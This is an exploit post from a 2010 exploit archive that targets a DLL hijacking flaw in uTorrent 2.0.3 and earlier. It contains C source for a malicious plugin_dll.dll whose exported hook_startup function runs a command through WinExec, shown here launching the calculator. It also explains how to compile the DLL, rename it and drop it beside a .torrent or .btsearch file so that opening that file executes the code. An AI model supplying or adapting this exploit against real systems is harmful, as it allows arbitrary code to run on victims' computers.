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uTorrent <= 2.0.3 DLL Hijacking (plugin_dll.dll) Exploit

Posted on 24 August 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>uTorrent &lt;= 2.0.3 DLL Hijacking (plugin_dll.dll) Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>========================================================
uTorrent &lt;= 2.0.3 DLL Hijacking (plugin_dll.dll) Exploit
========================================================

/*
Exploit Title: uTorrent &lt;= 2.0.3 DLL Hijacking Exploit (plugin_dll.dll)
Date: 24/08/2010
Author: TheLeader
Email: gsog2009 [a7] hotmail [d0t] com
Software Link: http://www.utorrent.com/downloads
Version: 2.0.3 and prior
Tested on: Windows 7 x86 (6.1.7600)

Compile and rename to plugin_dll.dll, create a file in the same dir with one of the following extensions:
.torrent / .btsearch

Double click &amp; watch a nice calculator pop =]

A nice post about DLL Hijacking by Yam Mesicka (hebrew):
http://www.mesicka.com/dll-hijacking-windows-hd-moore/

@avivra: glad to provide entertainment for you guys =D

*Even more shouts* to all the great guys at forums.hacking.org.il
*/

#include &lt;windows.h&gt;
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec(&quot;calc&quot;, 0);
  exit(0);
  return 0;
}



# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-24]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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